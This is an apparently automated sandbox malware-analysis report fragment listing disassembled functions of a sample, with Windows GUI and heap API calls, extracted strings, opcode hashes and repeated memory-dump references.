                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Window$MetricsRectSystem$Active
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1462147845-0
                                                                                                                                                                                                                                                                    • Opcode ID: 70fe0f0bce7baa2bf19dfdbe835d8ed9a8fc859a0e9f57fa4a9625b579bcc925
                                                                                                                                                                                                                                                                    • Instruction ID: 4a514c908aac6c84e79b30f4a049ec06f073b1c59449a057ed3a956365c50b8c
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 70fe0f0bce7baa2bf19dfdbe835d8ed9a8fc859a0e9f57fa4a9625b579bcc925
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8F217432E0411AAFDB10CEBCCD89AAF7BA5AB44750F094625E814FB3C4D674FC058795
                                                                                                                                                                                                                                                                    Function 00404AF1 Relevance: 9.1, APIs: 6, Instructions: 67threadCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • EnumWindows.USER32(00404A6F,00000000), ref: 00404B05
                                                                                                                                                                                                                                                                    • GetCurrentThreadId.KERNEL32 ref: 00404B17
                                                                                                                                                                                                                                                                    • SetWindowPos.USER32(?,000000FE,00000000,00000000,00000000,00000000,00000003,?,?,00000000,004048AC,00000001,?,0040138F,00000010,OPSX), ref: 00404B32
                                                                                                                                                                                                                                                                    • GetCurrentThreadId.KERNEL32 ref: 00404B50
                                                                                                                                                                                                                                                                    • EnableWindow.USER32(?,00000001), ref: 00404B64
                                                                                                                                                                                                                                                                    • SetWindowPos.USER32(?,000000FF,00000000,00000000,00000000,00000000,00000003,?,?,?,00000000,004048AC,00000001,?,0040138F,00000010), ref: 00404B7A
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Window$CurrentThread$EnableEnumWindows
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2527101397-0
                                                                                                                                                                                                                                                                    • Opcode ID: 706a6a58c84f8eb0b40823b8b981b5e0dbb5594e5a069b7ed64cc4c030014bcc
                                                                                                                                                                                                                                                                    • Instruction ID: f53e361d4dfe4beed5c9d689d68b6c0707cc63d3d2562877595d74df7dd309d7
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 706a6a58c84f8eb0b40823b8b981b5e0dbb5594e5a069b7ed64cc4c030014bcc
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: BF1172B2408345AFDB306F50AC84E27B7B9E7803657144A3AF261325D09735BC44CA59
                                                                                                                                                                                                                                                                    Function 004091E3 Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 43memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 0040928B: memset.MSVCRT ref: 004092F3
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A661: EnterCriticalSection.KERNEL32(0040E748,00000000,PostEventClass,00000028,@@,004091FE,?,00000028,PostEventClass,00000000,?,00408F22,@@,PostEventClass,00000000), ref: 0040A678
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A661: HeapFree.KERNEL32(00000000,?,?,00408F22,@@,PostEventClass,00000000,?,?,00408AD0,00000008,00000007,00000000,0040E740,00000400,00000028), ref: 0040A6C3
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A661: LeaveCriticalSection.KERNEL32(0040E748,?,00408F22,@@,PostEventClass,00000000,?,?,00408AD0,00000008,00000007,00000000,0040E740,00000400,00000028,004089FA), ref: 0040A6CA
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(00000000,?,?,00000028,PostEventClass,00000000,?,00408F22,@@,PostEventClass,00000000,?,?,00408AD0,00000008,00000007), ref: 0040920E
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(00000000,?,?,00408F22,@@,PostEventClass,00000000,?,?,00408AD0,00000008,00000007,00000000,0040E740,00000400,00000028), ref: 0040921A
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(00000000,?,@@,?,00408F22,@@,PostEventClass,00000000,?,?,00408AD0,00000008,00000007,00000000,0040E740,00000400), ref: 0040922E
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(00000000,00000028,?,00408F22,@@,PostEventClass,00000000,?,?,00408AD0,00000008,00000007,00000000,0040E740,00000400,00000028), ref: 00409244
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: FreeHeap$CriticalSection$EnterLeavememset
                                                                                                                                                                                                                                                                    • String ID: @@$PostEventClass
                                                                                                                                                                                                                                                                    • API String ID: 4254243056-3486380172
                                                                                                                                                                                                                                                                    • Opcode ID: 51861e5a7d09433c383270cdc1b8c3dd2e0abb794baad71a97bc824e72d9fb3b
                                                                                                                                                                                                                                                                    • Instruction ID: 38c26a7fe8b191d9a775abee70467c271164ec041d6167fa1094d368a8e18b02
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 51861e5a7d09433c383270cdc1b8c3dd2e0abb794baad71a97bc824e72d9fb3b
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 7BF03C36100308BBC6216B57EE40C17BFADEF85754346087EF545A3531C672BC619A68
                                                                                                                                                                                                                                                                    Function 0040619D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47windowCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • SetWindowLongA.USER32(00000000,000000FC,004060E0), ref: 004061D7
                                                                                                                                                                                                                                                                    • SetWindowLongA.USER32(00000000,000000F4,000000FF), ref: 004061E2
                                                                                                                                                                                                                                                                    • SetPropA.USER32(00000000,PB_ID,000000FF), ref: 004061ED
                                                                                                                                                                                                                                                                    • SendMessageA.USER32(00000000,00000030,?,00000001), ref: 004061FE
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: LongWindow$MessagePropSend
                                                                                                                                                                                                                                                                    • String ID: PB_ID
                                                                                                                                                                                                                                                                    • API String ID: 499798845-4173770792
                                                                                                                                                                                                                                                                    • Opcode ID: 3b67bb009bc58d4348d4f372a48a1f11a5f3cc55cb0d5033019aeace37febe3e
                                                                                                                                                                                                                                                                    • Instruction ID: bfe71f3fe797897aed7992cc3fab373e9d501df012592f7db8049706d7771249
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3b67bb009bc58d4348d4f372a48a1f11a5f3cc55cb0d5033019aeace37febe3e
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 18014471500318FBCB11AF55DD85E4ABBA8FB44760F10C629F925672D1C275D960CB94
                                                                                                                                                                                                                                                                    Function 0040AD30 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 62memorystringCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • strlen.MSVCRT ref: 0040AD45
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(02640000,00000000,-00000005), ref: 0040AD67
                                                                                                                                                                                                                                                                    • HeapReAlloc.KERNEL32(02640000,00000000,?,-00000005), ref: 0040AD8A
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(02640000,00000000,Continue?,?,?,0040406F,?,Continue?,004010E3,00000008,00000401,00000007,0040D280,0040E4C8,00000008,00000000), ref: 0040ADC0
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Heap$Alloc$Freestrlen
                                                                                                                                                                                                                                                                    • String ID: Continue?
                                                                                                                                                                                                                                                                    • API String ID: 1646265118-4041895036
                                                                                                                                                                                                                                                                    • Opcode ID: 33f1c35c7d123c3d721b3f2c7753356cc1a4af7fc1f4d03610ebcd1eeeec3afc
                                                                                                                                                                                                                                                                    • Instruction ID: 902f980d2ed4032528712b5d13e4101ac56600f0f92c4e6afa8b84b915c42578
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 33f1c35c7d123c3d721b3f2c7753356cc1a4af7fc1f4d03610ebcd1eeeec3afc
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6C2117B5600308EFDB04DFA4C984FAA37B6EF89315F108469F805AB390D735AE51DB95
                                                                                                                                                                                                                                                                    Function 00405C4C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 75COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 00405C76
                                                                                                                                                                                                                                                                    • CreateWindowExA.USER32(00000008,Edit,00000000,00000008,00001000,00000000,00000007,0040D278,00000000,000000FF,00000000), ref: 00405D22
                                                                                                                                                                                                                                                                    • SetWindowLongA.USER32(00000000,000000FC,00405B28), ref: 00405D46
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Window$CreateLongmemset
                                                                                                                                                                                                                                                                    • String ID: Edit
                                                                                                                                                                                                                                                                    • API String ID: 2917088559-554135844
                                                                                                                                                                                                                                                                    • Opcode ID: 75e7d7f60efddd7b6f8c7eb57e998eea9ce283cbed1f46cca9d8bdfb609cc2ae
                                                                                                                                                                                                                                                                    • Instruction ID: 4aff0cfcc01fa2e25201bcfda0e522c15394810336afe77eb5a452684a68512e
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 75e7d7f60efddd7b6f8c7eb57e998eea9ce283cbed1f46cca9d8bdfb609cc2ae
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 92218C71401304AFEB209F52ED09B473AB5EB90328F148E3AF424B62E0D7BA9424DF5C
                                                                                                                                                                                                                                                                    Function 00405E8C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 64COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 00405EB8
                                                                                                                                                                                                                                                                    • CreateWindowExA.USER32(00000000,Button,00000000,00000008,00001000,00000000,00000007,0040D278,00000000,000000FF,00000000), ref: 00405F29
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CreateWindowmemset
                                                                                                                                                                                                                                                                    • String ID: Button$H@
                                                                                                                                                                                                                                                                    • API String ID: 1730425660-994053803
                                                                                                                                                                                                                                                                    • Opcode ID: 0654633f52cb3d76af2ebf5ab436ae2c0352a25e213e20f972a4f8e1615a59e8
                                                                                                                                                                                                                                                                    • Instruction ID: 78b207288b22a1d116ea1fb526fd3185bcc14ab19456ba8adb2fb826422dc24c
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0654633f52cb3d76af2ebf5ab436ae2c0352a25e213e20f972a4f8e1615a59e8
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 151184B2500245FFDB11AF96ED44C5B7FA9EB54354B10893AF514B72A0D37A8830DF98
                                                                                                                                                                                                                                                                    Function 00404D46 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36stringCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 0040ADE0: HeapReAlloc.KERNEL32(02640000,00000000,02640808,00004047,00000000,00000000), ref: 0040AE27
                                                                                                                                                                                                                                                                    • GetModuleFileNameA.KERNEL32(00000000,00000104,00000104,00000000,?,?,00000000,00401D5B,00000000,00000000,00000800,0040E474,00000800,00000000,00000000,0040E4BC), ref: 00404D62
                                                                                                                                                                                                                                                                    • strcmp.MSVCRT ref: 00404D70
                                                                                                                                                                                                                                                                    • memmove.MSVCRT(00000000,00000004,-00000004,?,?,00000000,00401D5B,00000000,00000000,00000800,0040E474,00000800,00000000,00000000,0040E4BC,00000000), ref: 00404D84
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AllocFileHeapModuleNamememmovestrcmp
                                                                                                                                                                                                                                                                    • String ID: \\?\
                                                                                                                                                                                                                                                                    • API String ID: 1948962972-4282027825
                                                                                                                                                                                                                                                                    • Opcode ID: 41b6e648c97239a0a62c1cc7a2492c628e493184492a752da40845072d6ffefc
                                                                                                                                                                                                                                                                    • Instruction ID: ccf04bbd49ccaae5e233dbe0d35dd556acb3ed972d9b22697e5376082c0accac
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 41b6e648c97239a0a62c1cc7a2492c628e493184492a752da40845072d6ffefc
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B1F0A7F31007117BD21067B6EC89DAB7A9CDF853A4B50053BF501A2181EB79956482BD
                                                                                                                                                                                                                                                                    Function 004068B3 Relevance: 6.1, APIs: 4, Instructions: 87memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • HeapAlloc.KERNEL32(00000000,00000006,?,00000000,?,?,?,0040159D,00000000,0000000D,00000004,00000003,0000003D,0000004B,0000004E,00000014), ref: 00406943
                                                                                                                                                                                                                                                                    • DestroyAcceleratorTable.USER32(?), ref: 004069B1
                                                                                                                                                                                                                                                                    • CreateAcceleratorTableA.USER32(?,?,00000000,?,?,?,0040159D,00000000,0000000D,00000004,00000003,0000003D,0000004B,0000004E,00000014,0040D1FC), ref: 004069BD
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AcceleratorTable$AllocCreateDestroyHeap
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1117254962-0
                                                                                                                                                                                                                                                                    • Opcode ID: 533927c8254391feb69dbb954db79c7f4a9484e206b01fdc8943895a0a8cde40
                                                                                                                                                                                                                                                                    • Instruction ID: 989b12e0062f655fde493b7c219119d600853086623b7207ab10eca783390e74
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 533927c8254391feb69dbb954db79c7f4a9484e206b01fdc8943895a0a8cde40
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: CF316C71500701DBCB24DF25CA45A6ABBF1FF54710F11C82DE85BABAA0E379EA64DB04
                                                                                                                                                                                                                                                                    Function 0040928B Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 52memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • HeapFree.KERNEL32(00000000,?,004089FA,004089FA,PostEventClass,00000028,@@,?,?,00000000,004091F6,00000028,PostEventClass,00000000,?,00408F22), ref: 004092B5
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 004092F3
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898355379.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898482407.000000000040C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898564009.000000000040D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.000000000040F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898615950.0000000000872000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd
                                                                                                                                                                                                                                                                    Yara matches
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: FreeHeapmemset
                                                                                                                                                                                                                                                                    • String ID: @@$PostEventClass
                                                                                                                                                                                                                                                                    • API String ID: 2097932597-3486380172
                                                                                                                                                                                                                                                                    • Opcode ID: c402a30b643860fe6c82ad4456b9c0ad625c4f5a3ea5c581c8fb00269d3f9306
                                                                                                                                                                                                                                                                    • Instruction ID: 9818c7343b66dc66dc91a1783ed2cab7a032df7a5532c23fae94ad29753160c0
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c402a30b643860fe6c82ad4456b9c0ad625c4f5a3ea5c581c8fb00269d3f9306
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 5801D6766007007BC721AB66DC45E4BBBACEF85354B00093EF94572142D738ED108768
                                                                                                                                                                                                                                                                    Function 00405791 Relevance: 6.0, APIs: 4, Instructions: 32COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • InitializeCriticalSection.KERNEL32(0040E800,?,?,?,00401080,00000000,00001000,00000000,00000000), ref: 0040579B
                                                                                                                                                                                                                                                                    • GetStockObject.GDI32(00000011), ref: 004057A3
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A21A: HeapAlloc.KERNEL32(00000008,00000020,?,?,004083DE,00000018,00000010,00408350,0040105D,00000000,00001000,00000000,00000000), ref: 0040A22C
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A21A: HeapAlloc.KERNEL32(00000008,00000000,?,?,004083DE,00000018,00000010,00408350,0040105D,00000000,00001000,00000000), ref: 0040A257
                                                                                                                                                                                                                                                                      • Part of subcall function 0040A26A: HeapAlloc.KERNEL32(00000008,004089FA,00000000,00408AB7,00000028,004089FA,00408A17), ref: 0040A277
                                                                                                                                                                                                                                                                    • memset.MSVCRT ref: 004057DF
                                                                                                                                                                                                                                                                    • InitCommonControlsEx.COMCTL32(00000000,00001000), ref: 004057F9
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000000.00000002.2898355379.0000000000403000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000000.00000002.2898311494.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
